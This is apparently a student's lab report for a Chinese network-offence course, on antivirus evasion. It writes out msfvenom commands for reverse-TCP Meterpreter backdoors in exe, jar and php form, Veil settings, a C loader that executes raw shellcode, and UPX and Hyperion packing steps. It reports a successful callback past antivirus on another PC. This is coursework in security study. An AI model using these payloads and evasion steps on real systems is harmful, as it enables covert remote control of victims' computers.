2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

免杀原理及基础问题回答

一、免杀原理

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、基础问题回答

问:杀软是如何检测出恶意代码的?

  • 基于特征码的检测:恶意代码有一些其他正常程序没有的特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

  • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

问:免杀是做什么?

通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。

问:免杀的基本方法有哪些?

  • 改变特征码
  1. 只有EXE——加壳(压缩壳 加密壳)
  2. 有shellcode(像Meterpreter)——利用encode进行编码
  3. 有源代码——用其他语言进行重写再编译
  • 改变行为:
  1. 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
  2. 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

三、免杀效果评价

利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

  • 用VirusTotal扫描后结果如下:

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.168.136 LPORT=5232 -f exe > met-encoded10.exe

  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

可见多次编码对免杀没有太大的效果

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.168.135 LPORT=5232 x> backdoor_java.jar
  • 生成文件如下所示:

  • 扫描结果如下:

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.168.135 LPORT=5232 x> 20165232_backdoor.php
  • 生成文件如下所示:

  • 扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

安装veil

我按照步骤安装veil没有成功,一直无法展开对象,装了五个小时以后放弃了,拷了同学虚拟机,所以下面linux ip地址会有变化。

  • 输入veil指令,会出现下面这个界面

  • 用use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.168.136

  • 设置端口,命令为:set LPORT 5232

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5232

  • 检测一下:

5. 半手工注入Shellcode并执行

  • 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=5232 -f

用c语言生成一段shellcode;

  • 创建一个文件20165232.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20165232.c -o 20165232.exe编译这个.c文件为可执行文件;

  • 刚发到主机还没来得及检测就被查杀

  • 加壳尝试
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
  • 使用压缩壳(UPX)

  • 被查杀

  • 于是将它放到白名单

  • 查看连接情况,可以反弹连接

    (做这一步的时候生成的加壳文件在主机打开但虚拟机无法监听到,检查发现无法ping通,也找不到解决办法,就重新设置了一下虚拟机网段,又返回到上上一步做,但做成功的我就没有重复截图,ip地址由192.168.168.136变成了192.168.11.128)

  • 检查一下

任务二:通过组合应用各种技术实现恶意代码免杀
  • 加密壳Hyperion

    将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/

目录中

  • 进入目录
/usr/share/windows-binaries/hyperion/

  • 输入命令
wine hyperion.exe -v hydupxed.exe hydupxed_hyperion.exe

进行加壳:





  • 用360查杀一下

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 实验环境:对方电脑为 win7主机
  • 我将上一步生成的文件发送过去在其电脑内检测

  • 反弹连接

实验遇到的问题

这次试验真的遇到了非常多的问题,周四就开始做,一直到现在才完成

  1. veil安装不成功的问题,后面只能拷同学虚拟机来继续完成
  2. 生成的加壳或者加密壳文件在主机无法打开,显示
Windows无法访问指定设备,路径或文件,您可能没有合适的权限访问这个项目
  1. 在无法打开的文件、文件夹上单击鼠标右键,选择【属性】。
  2. 切换到【安全】选项,在下面点击【高级选项】。
  3. 在【高级安全设置】窗口中点击所有者后的【更改】。

2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 基于python的种子搜索网站-开发过程

    本讲会对种子搜索网站的开发过程进行详细的讲解. 源码地址:https://github.com/geeeeeeeek/bt 项目开发过程 项目简介 该项目是基于python的web类库django开发 ...

  2. 【集合框架】JDK1.8源码分析之ArrayList详解(一)

    [集合框架]JDK1.8源码分析之ArrayList详解(一) 一. 从ArrayList字表面推测 ArrayList类的命名是由Array和List单词组合而成,Array的中文意思是数组,Lis ...

  3. Python第十三天 django 1.6 导入模板 定义数据模型 访问数据库 GET和POST方法 SimpleCMDB项目 urllib模块 urllib2模块 httplib模块 django和web服务器整合 wsgi模块 gunicorn模块

    Python第十三天   django 1.6   导入模板   定义数据模型   访问数据库   GET和POST方法    SimpleCMDB项目   urllib模块   urllib2模块 ...

  4. sparkSQL catalyst

    最近想来,大数据相关技术与传统型数据库技术很多都是相互融合.互相借鉴的.传统型数据库强势在于其久经考验的SQL优化器经验,弱势在于分布式领域的高可用性.容错性.扩展性等,假以时日,让其经过一定的改造, ...

  5. 搭建 structs2 环境

    前言 环境: window 10 ,JDK 1.8 ,Tomcat 7 ,MyEclipse 2014 pro 搭建 SSH 环境的步骤 创建 JavaWeb 项目 导入 structs2 的jar包 ...

  6. docker根据配置文件启动redis

    更多docker基本命令请自行查询. 1.首先拉取合适版本的docker镜像 docker pull redis:5 2.如果不需要更改什么配置或者仅仅测试用可以直接启动镜像运行容器,这里要说明的是根 ...

  7. vue(8)—— 组件化开发 - webpack(2)

    webpack的常用loder和插件 loder和插件是什么,现在暂且不表,看到后面你就懂了 引入css问题 直接用link标签导入css 在前面的 vue(7)—— 组件化开发 — webpack( ...

  8. cocos web 多端口运行

    cocos2d-js 也是比较普遍的游戏开发工具之一吧,今天想同时启动多个js项目来看下效果,结果百度不到添加端口的方法,又得去翻源码.... cocos run -p web 只要运行在本地就可以启 ...

  9. Migrating Brokers in a Cluster

    Brokers can be moved to a new host in a Kafka cluster. This might be needed in the case of catastrop ...

  10. C#:往数据库插入/更新时候关于NUll空值的处理

    前几天遇到一个问题,找了好久才找到解决办法.不过也很开心,终于解决了. 问题:前端当我数据为空的时候不赋值,传到后台也为空的时候(注意:是Null不是""),SqlCommand对 ...